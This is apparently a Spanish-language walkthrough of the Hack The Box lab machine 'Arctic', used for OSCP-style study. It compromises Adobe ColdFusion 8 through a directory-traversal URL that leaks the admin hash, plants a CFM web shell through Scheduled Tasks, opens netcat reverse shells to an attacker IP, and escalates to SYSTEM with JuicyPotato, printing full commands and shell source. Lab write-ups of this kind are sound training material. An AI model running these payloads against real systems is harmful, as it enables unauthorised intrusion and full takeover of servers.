Arctic
Skills
- Adobe ColdFusion 8 Exploitation
- Directory Traversal Vulnerability
- Cracking Hashes
- Abusing Scheduled Tasks - Uploading malicious CFM shell
- Abusing SeImpersonatePrivilege [Privilege Escalation]
Certificaciones
- OSCP
- eWPT
Descripción
Arctic
es una máquina easy windows
, la web
tiene un LFI (Local File Inclusion)
mediante el cual obtenemos
la contraseña
del usuario admin
hasheada, obtenemos
la contraseña
en texto claro mediante rainbow tables
y nos logueamos
. Posteriormente subimos un archivo .cfm malicioso
para ejecutar comandos
, mediate la shell ganamos acceso
a la máquina víctima y una vez dentro nos convertimos
en Administrator
abusando del SeImpersonatePrivilege
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas windows
suele ser 128
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
9
# ping 10.129.186.242
PING 10.129.186.242 (10.129.186.242) 56(84) bytes of data.
64 bytes from 10.129.186.242: icmp_seq=1 ttl=127 time=57.0 ms
64 bytes from 10.129.186.242: icmp_seq=2 ttl=127 time=54.8 ms
64 bytes from 10.129.186.242: icmp_seq=3 ttl=127 time=55.9 ms
^C
--- 10.129.186.242 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 54.759/55.906/57.022/0.924 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.186.242 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 18:12 CEST
Initiating SYN Stealth Scan at 18:12
Scanning 10.129.186.242 [65535 ports]
Discovered open port 135/tcp on 10.129.186.242
Discovered open port 49154/tcp on 10.129.186.242
Discovered open port 8500/tcp on 10.129.186.242
Completed SYN Stealth Scan at 18:12, 26.38s elapsed (65535 total ports)
Nmap scan report for 10.129.186.242
Host is up (0.061s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
135/tcp open msrpc
8500/tcp open fmtp
49154/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.47 seconds
Raw packets sent: 131086 (5.768MB) | Rcvd: 22 (968B)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
# nmap -sCV -p 135,8500,49154 10.129.186.242 -Pn -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 18:13 CEST
Nmap scan report for 10.129.186.242
Host is up (0.077s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8500/tcp open http JRun Web Server
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 138.79 seconds
Web Enumeration
En la página web
vemos lo siguiente
En /CFIDE
hay información interesante
Al pulsar en /administrator
me lleva a este panel
de login
, al parecer nos estamos enfrentando a un Adobe Coldfusion 8
Web Exploitation
He buscado vulnerabilidades
y he encontrado esta web
https://nets.ec/Coldfusion_hacking#Remote_File_Disclosure_of_Password_Hashes. He visto que la web
es vulnerable a un LFI (Local File Inclusion)
mediante el cual podemos obtener
la contraseña
del panel de login, para ello debemos acceder a http://10.129.186.242:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
He obtenido
la password
usando rainbow tables
https://hashes.com/en/decrypt/hash
Nos logueamos con las credenciales admin:happyday
y ganamos acceso al panel administrativo
Vamos a subir una Cfm Shell
para ejecutar comandos, es descargarnos una Cfm Shell
, en mi caso he utilizado este recurso https://github.com/tennc/webshell/blob/master/net-friend/cfm/cfmShell.cfm. Hay que modificar esta ruta ` <cfexecute name=”C:\Winnt\System32\cmd.exe” por
<cfexecute name=”C:\Windows\System32\cmd.exe”`
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CFM shell</title>
</head>
<body>
<!--- os.run --->
<cfif IsDefined("FORM.cmd")>
<cfoutput>#cmd#</cfoutput>
<cfexecute name="C:\Windows\System32\cmd.exe"
arguments="/c #cmd#"
outputfile="#GetTempDirectory()#foobar.txt"
timeout="1">
</cfexecute>
</cfif>
<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">
<input type=text size=45 name="cmd" >
<input type=Submit value="run">
</form>
<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
<cffile action="Read"
file="#GetTempDirectory()#foobar.txt"
variable="readText">
<textarea readonly cols=80 rows=20>
<CFOUTPUT>#readText#</CFOUTPUT>
</textarea>
<cffile action="Delete"
file="#GetTempDirectory()#foobar.txt">
</cfif>
</body>
</html>
El siguiente paso es crearnos
un servidor
http con python en la ruta donde se aloja este recurso en nuestro equipo
1
# python -m http.server 80
Una vez hecho esto nos dirigimos a Mappings
Nos copiamos el Directory Path
donde está /CFIDE
, que sería C:\ColdFusion8\wwwroot\CFIDE
Posteriormente nos vamos a la sección Scheduled Tasks
Creamos
una nueva tarea
Rellenamos
los datos
y hacemos click
en submit
. En el apartado File
debemos poner esta ruta C:\ColdFusion8\wwwroot\CFIDE\cfmShell.cfm
donde se guardará el archivo que cargará de nuestro servidor
Una vez hecho esto le damos click
al icono verde
para que se inicie
la tarea
Para cargar
la shell
, nos dirigimos a http://10.129.186.242:8500/CFIDE/
y hacemos click
sobre el archivo
que hemos subido cfmShell.cfm
Una vez hecho esto ya podremos ejecutar comandos
Intrusión
Para obtener acceso
a la máquina víctima
lo vamos a hacer mediante netcat
, para ello nos copiamos
el binario
en el directorio actual
de trabajo
1
# cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
Nos montamos
un servidor smb
1
# impacket-smbserver $(pwd) smbFolder -smb2support
Nos ponemos en escucha
con netcat
por el puerto 4444
1
# nc -nlvp 4444
En la shell
de la web ejecutamos
este comando
1
\\10.10.16.35\smbFolder\nc.exe -e cmd 10.10.16.35 4444
Ganamos acceso
a la máquina víctima
1
2
3
4
5
6
7
8
9
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.35] from (UNKNOWN) [10.129.186.242] 50325
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\ColdFusion8\runtime\bin>whoami
whoami
arctic\tolis
Privilege Escalation
Listamos
los privilegios
de nuestro usuario y vemos que SeImpersonatePrivilege
está habilitado
1
2
3
4
5
6
7
8
9
10
11
12
C:\ColdFusion8\runtime\bin>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Listamos
la información
del sistema
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
C:\ColdFusion8\runtime\bin>systeminfo
systeminfo
Host Name: ARCTIC
OS Name: Microsoft Windows Server 2008 R2 Standard
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-507-9857321-84451
Original Install Date: 22/3/2017, 11:09:45 ��
System Boot Time: 7/8/2024, 3:08:05 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 6.143 MB
Available Physical Memory: 5.017 MB
Virtual Memory: Max Size: 12.285 MB
Virtual Memory: Available: 11.176 MB
Virtual Memory: In Use: 1.109 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.186.242
Nos vamos a descargar
el JuicyPotato
y el netcat
en la máquina víctima para ello nos descargamos el JuicyPotato
https://github.com/ohpe/juicy-potato/releases/tag/v0.1 y el netcat
https://eternallybored.org/misc/netcat/. Posteriormente y en el mismo directorio
nos creamos un servidor http
con python
1
# python -m http.server 80
Nos descargamos
los binarios
en la máquina víctima
1
2
C:\Windows\Temp\Privesc>certutil.exe -urlcache -split -f http://10.10.16.35/nc.exe
C:\Windows\Temp\Privesc>certutil.exe -urlcache -split -f http://10.10.16.35/JuicyPotato.exe
Si todo funciona correctamente deberíamos tener los dos binarios en el directorio actual
1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Windows\Temp\Privesc>dir
dir
Volume in drive C has no label.
Volume Serial Number is 5C03-76A8
Directory of C:\Windows\Temp\Privesc
07/08/2024 07:48 �� <DIR> .
07/08/2024 07:48 �� <DIR> ..
07/08/2024 07:48 �� 347.648 JuicyPotato.exe
07/08/2024 07:48 �� 28.160 nc.exe
2 File(s) 375.808 bytes
2 Dir(s) 1.431.343.104 bytes free
Nos ponemos en escucha
con netcat
1
# nc -nlvp 9001
Ejecutamos
el JuicyPotato
, los CLIDS
los podemos mirar en esta web
https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/
1
2
3
4
5
6
7
8
C:\Windows\Temp\Privesc>JuicyPotato.exe -l 1337 -c "{8BC3F05E-D86B-11D0-A075-00C04FB68820}" -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\Privesc\nc.exe -e cmd.exe 10.10.16.35 9001" -t *
JuicyPotato.exe -l 1337 -c "{8BC3F05E-D86B-11D0-A075-00C04FB68820}" -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\Privesc\nc.exe -e cmd.exe 10.10.16.35 9001" -t *
Testing {8BC3F05E-D86B-11D0-A075-00C04FB68820} 1337
....
[+] authresult 0
{8BC3F05E-D86B-11D0-A075-00C04FB68820};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Recibimos
la shell
como nt authority\system
1
2
3
4
5
6
7
8
9
# nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.35] from (UNKNOWN) [10.129.186.242] 50611
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system